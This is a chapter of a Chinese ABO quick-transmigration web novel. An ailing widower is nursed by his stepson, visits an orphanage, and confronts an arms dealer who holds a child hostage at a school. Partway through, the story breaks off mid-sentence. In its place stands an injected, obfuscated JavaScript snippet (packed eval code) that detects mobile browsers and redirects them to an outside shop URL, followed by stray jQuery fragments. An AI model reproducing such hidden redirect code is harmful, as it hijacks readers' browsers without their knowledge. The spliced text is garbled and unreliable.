10. 杀夫证道(10)

作品:《高岭之花是寡妇[快穿]

    但秦临骁比他更近,铁臂一捞便将沈沉蕖整个人霸占在怀抱中。


    秦临骁朝段桐恒递去一眼,毫不遮掩目光中的厌恶与憎恨。


    他看不上原骏驰的行径。


    但他同样恨这些不知道从哪里冒出来的人和事,吸引沈沉蕖的目光、消耗沈沉蕖的身体与精神。


    且只要这些存在一天,沈沉蕖就忙碌一天,就不能好好休息。


    就只能分出一丁点时间给自己,短暂得转瞬即逝。


    而哪怕只这一时半刻,都是狼多肉少,多的是人想从他手中抢走。


    尤其是去年一整年……


    从沈沉蕖决定嫁给父亲的那一刻起,他就已经身在炼狱。


    时至今日,这一分这一秒,他仍痛恨沈沉蕖的冷漠无情。


    想纠缠得沈沉蕖也一起痛他所痛,想拖着沈沉蕖一起死。


    现在不与沈沉蕖同归于尽,只是因为他不想欺负一个病人。


    沈沉蕖瘫软在秦临骁臂膀间,单薄如一页纸。


    起初只是细微的、不连贯的抽气,眨眼间便爆发撕心裂肺的咳喘。


    哪怕紧合齿关,但仍旧有急促破碎的呻丨吟自他唇瓣溢出。


    肺腑充血剧痛,他不受控制地揪攥衣襟,又脱力地松开,指尖冷得像冰。


    秦临骁拢着他散乱的长发,掌心在他前胸后背胡乱摸索,试图缓解他身体起伏的节奏。


    嘴里语无伦次道:“沈沉蕖……你怎么了,刚才不是还好好的吗!”


    沈沉蕖浑身每一寸都疼痛不已。


    生理性泪水模糊了视线,他眼尾湿红,脸颊晕开异常绮丽的绯色。


    周遭的空气变得冰凉,如同严冬,他呵出的每一口气都变成了白雾,匆匆散去。


    仿佛每一缕自他口鼻离开的气息,都带走他一丝生机。


    秦临骁再也克制不住。


    在段桐恒震骇的目光里,他俯身密密啄吻沈沉蕖眼角的泪水,哄慰道:“馡馡,馡馡宝宝,慢慢来,深呼吸……”


    未经过omega承认为伴侣关系时,alpha的安抚性信息素对于omega的作用会大打折扣。


    但十八岁alpha的信息素跟火山喷发似的往外冒,终于还是起了效果。


    沈沉蕖吐息渐渐平静下来,眼底笼着一层薄薄的雾蒙蒙的水光,锁骨细细发着抖。


    他只稍稍恢复一丝丝气力便想起身。


    秦临骁立马将人圈住,不费吹灰之力抱起他,道:“不准动了。”


    秦临骁把被子掖了一遍又一遍。


    直至给沈沉蕖裹成了一只蝶蛹,才罢休松手,道:“现在睡觉,原家手里那些人我帮你去找,你什么都别管了。”


    言罢,秦临骁便熄了灯。


    一片浓稠黑暗中,沈沉蕖嗓音清淡虚弱:“你可以去原氏找,我去找原骏驰家里。”


    秦临骁气不打一处来,道:“你还要去那老东西家里!他刚才那么对你,色得都快流口水了!你当我……你当我父亲死了吗!”


    话音刚落便想起自己爹真死了,于是道:“死了还有在天之灵呢!”


    “睡了。”这下强行结束话题的变成了沈沉蕖。


    他言出必行,及时合上眼帘。


    倦意席卷上来,沈沉蕖陷入一种半梦半醒的浅眠。


    长发被轻轻拨开,后颈的阻隔贴被人小心翼翼地撕下,但迟迟未换一枚新的为他贴好。


    反倒是一颗湿湿热热的大脑袋拱过来,在他腺体处呼哧呼哧地嗅嗅嗅嗅,啃啃啃啃。


    气息集中,烫得沈沉蕖微微不适,他迷迷糊糊地将被子往上拽了拽,挡住自己的腺体。


    大脑袋倏尔顿住,攥紧了掌中换下的那一小片布料。


    少顷后发出一声冷哼,道:“小气,谁稀罕。”


    --


    翌日下午,密德林州。


    顾则寻目前在读小学二年级。


    学校是寄宿制,但因明天开始放暑假,故而他下午放学后会回到福利院来。


    沈沉蕖带着两位法助飞来此地,除此之外,还有位不请自来的保镖。


    坐在福利院会客室的沙发上,沈沉蕖优雅地切下一小块院长自制的焦糖松饼送入口中。


    细嚼慢咽毕,对旁边人道:“你这样游手好闲无所事事,很让人担忧联邦今后的命运。”


    新任元首阁下脸不红心不跳道:“母亲错怪我了,不是游手好闲无所事事,只是刚好今天在密德林州有公务。”


    “倒是母亲,”他看沈沉蕖只吃一口就拿手帕擦拭十指,自发黑着脸解决剩下的,道,“要查什么案子不能交给警方检方,明明身体那个样子,非得自己坐仨小时飞机过来,半路就开始吸氧,吓得人心惊胆战,现在又不好好吃饭。”


    “而且我听说,昨晚上原骏驰被人刺伤了,跑到母亲门口去抓凶手……?他那个人不会善罢甘休,我最近还是贴身保护母亲为好,虽然没有母子缘分,到底我们还是兄弟一场,我依旧愿意为母亲效犬马之劳。”


    沈沉蕖轻抚了下腕骨上的红宝石钉,没理他错乱的辈分,道:“你父亲因我而死,我给他偿命不合你心意吗?”


    秦临彻脸上原有的半分轻松之色也瞬间消弭。


    他面无表情地盯着沈沉蕖,道:“你想都不要想。”


    说话间,门外鬼鬼祟祟探进来数颗脑袋。


    福利院的孩子们不知从何处听说有位特别好看的哥哥来。


    一时你推我搡,全聚在了会客室外。


    正是一点想法都藏不住的年纪,见了沈沉蕖的样子,一群小孩目瞪口呆半晌没说话。


    而后更活跃了,一个个眼里放光,蠢蠢欲动想进来。


    一个两个带头,一群小孩顷刻间涌入,将沈沉蕖团团围住。


    沈沉蕖身上挂满了小孩,全都跟小狗似的,贴着他又亲又嗅又舔。


    视野里只能看见沈沉蕖的一点点头发丝,秦临彻立即面沉如水。


    尤其看见有小孩没轻没重,不慎扯着或压着沈沉蕖头发,还一无所觉地嘿嘿傻笑时,更是不爽到了极点。


    “那群小孩儿!”他号令道,“都下来,排好队!!!”


    他体格剽悍,说起话来丹田用力、中气十足。


    尤其当下,情绪致使他话语分外铿锵,震得人耳膜疼。


    福利院的工作人员都脾气温和有耐心,小孩们哪里见过这样粗声粗气的人。


    一个个被吓得呆若木鸡,更加扒紧了沈沉蕖。


    年纪小的甚至开始哭。


    然而omega身体的香气柔软清润,令人舒适。


    哭起来的几个一边嚎啕一边嗅,渐渐连哭都忘却。


    只知抱着沈沉蕖的颈子一个劲儿蹭,傻乎乎道:“……好香啊。”


    沈沉蕖:“……”


    福利院的孩子们九成九是孤儿、病患或残障儿童。


    现在会客室里的甚至是其中相对健康的,还有许多连下床行走都做不到。


    失去家庭已经够可怜,秦临彻何苦这么对他们。


    他向秦临彻投去不赞成的一眼,轻轻拍了拍身边的小孩,以示安慰。


    他微微蹙着眉,病气让他的眼尾泛着一点淡红,看向人时,眼波专注温柔得要命,仿佛对面就是他自己的小孩,与他有着永不可斩断的灵魂牵系。


    午后阳光透过百叶窗,为他整个人都镀了圈淡金色光晕,每一缕发丝都流淌着辉光,氛围梦幻而神圣。


    小孩子们望见这神降般的一幕,再接触到他的目光,只觉得晕乎乎的,直着眼,什么都忘却了。


    但还记得抱着他,根本不肯撒手,将他当作亲生母亲似的喜爱着、亲近着。


    同时一眼都不敢往秦临彻的方向看,完全逃避alpha的死亡凝视。


    甜品对alpha来说腻味得很,平常秦临彻闻到气味便离八丈远。


    但这松饼是沈沉蕖吃过的,他便没有什么不良反应,两口塞完,起身去清洗瓷碟。


    大手把碟子刷得吱溜吱溜响,秦临彻双眼始终透过厨房玻璃门,盯在沈沉蕖身上。


    看着沈沉蕖被那群小屁孩贴着,他搓碟子搓得更使劲儿了。


    沈沉蕖就这样,吃软不吃硬。


    秦家家底殷实,故而秦作舟虽然从政不从商,且没收了全部违法所得,名下仍有大量合法资产。


    依据遗嘱全部由沈沉蕖继承,又被沈沉蕖眼都不眨地捐赠给各个慈善团体。


    对这些弱势群体,和对秦家三子,沈沉蕖持截然不同的两种态度。


    沈沉蕖看了眼时间,眉尖轻轻颦起。


    最后一门考试早该结束。


    从学校到福利院又有校车,此时比院长预估的顾则寻到达


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062326|195078||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    时间已经晚了半小时。


    他一起身,其余三人也跟着起身。


    院长也因为顾则寻一直未归而担忧,也往会客室来找沈沉蕖。


    两方简单谈了谈,沈沉蕖一行人便朝顾则寻的小学赶去。


    已经休假,老师学生都已离去,除了一名门卫大爷之外,校内空旷无人。


    四人先去了教学楼,二年三班的师生已悉数离开,又转道宿舍楼。


    自进了学校之后,沈沉蕖越走越快。


    成许国年轻时与原骏驰是战友,保不齐原家,或者东议院就会插手这桩案子。


    他心头疾跳,一进宿舍楼便询问宿管。


    果然只剩顾则寻还没登记离校,而宿管正要上楼查看。


    宿管值班室内,小电视屏幕上正播放着沈沉蕖主持全联邦司法圆桌会议的新闻。


    ——每当吃饭时间,宿管就会调到有他的电视频道,秀色与佳肴一样可餐。


    电视上的人、全联邦无人不晓的大人物,突然活生生出现在自己面前。


    宿管虽然被这美色狠狠震慑,但更多的是惶惶不安。


    沈沉蕖出发时就已报警。


    只是这附近人口少,警署出警约莫半小时才能赶到。


    于是沈沉蕖让宿管安心,只是执行公务,请对方先立即离校回家。


    从宿管处拿了钥匙,上二楼时,沈沉蕖几乎飞奔起来。


    可在楼梯拐角处,他又陡然停住,对两位法助道:“你们去找找校内其他建筑,有任何危险都不要轻举妄动,立刻通知我。”


    二人遂与他们分开,沈沉蕖与秦临彻继续往楼上走。


    228宿舍门口,沈沉蕖敲了敲门,扬声道:“顾则寻?”


    无人回应,沈沉蕖不再犹豫,往后退开两步,示意秦临彻开锁,同时拔枪对准房门。


    宿舍门一开,便见门边躺着两名体格魁梧的alpha,是负责保护顾则寻人身安全的警员。


    而顾则寻“站”在宿舍窗前。


    然而他双眼紧闭,已然昏迷。


    他的太阳穴上顶着黑洞洞的枪丨口。


    一个十分高大的、三十几岁模样的男alpha拎着他,持枪站在他身侧。


    alpha朝着门外的沈沉蕖笑了下。


    男人手背及手臂处都残留着明显的疤痕,有新有旧,狰狞可怖,一见便知不好惹。


    沈沉蕖眼神一凝。


    秦临彻面色也冷下来。


    这alpha一身纯黑T恤工装裤长靴,将左胸口袋里那抹白衬得无比显眼。


    ——一朵掌珠白玫瑰。


    并且,这玫瑰最内侧的花瓣被摘除了,换成了短短一小束雪色丝线般的物事。


    肉眼可见的光滑柔顺,被窗外熠熠明光一照,便染上了极浅的金色,如水般流转。


    那分明是……分明是沈沉蕖的头发!


    但alpha的笑也并未持续,转瞬便凝固在脸上。


    他皱起眉头,朝沈沉蕖走来,道:“脸色怎么这么白?”


    秦临彻马上拔枪警告他,道:“别轻举妄动。”


    alpha却仿佛完全不介意子弹的威胁,步速没有半点放缓。


    直至沈沉蕖一抬枪口,瞄准他眉心。


    alpha登时顿在原地。


    沈沉蕖嗓音与持枪的手一样稳定:“霍知凛,把枪放下,释放人质。”


    霍知凛缄默刹那,又挑眉笑起来,道:“被人拿枪指着头的感觉本来很不妙,不过沈院长这样倒是很可爱。”


    “口气倒挺大,”秦临彻讥诮道,“不过你是谁?军、政、商三界,有姓霍的吗?”


    话虽如此,但也就是最近两个月内,联邦跨境军丨火商圈子里的确突然冒出来个姓霍的。


    作风极为彪悍狠厉,短时间内便站稳脚跟并冲到头部。


    眼前这个霍某某手里那把枪,连军部都少有人配备。


    那个霍姓军丨火商是谁,似乎已经有了答案。


    从对方的财富积累速度,以及身上疤痕密度来看,军丨火生意的凶险程度远超常人想象。


    霍知凛眸色深沉,在秦临彻与沈沉蕖之间徘徊一番,道:“馡馡,这三个儿子这么次,也能入你的眼吗。”


    “总不会,在你丈夫还活着的时候,你就已经和儿子们有猫腻了吧。”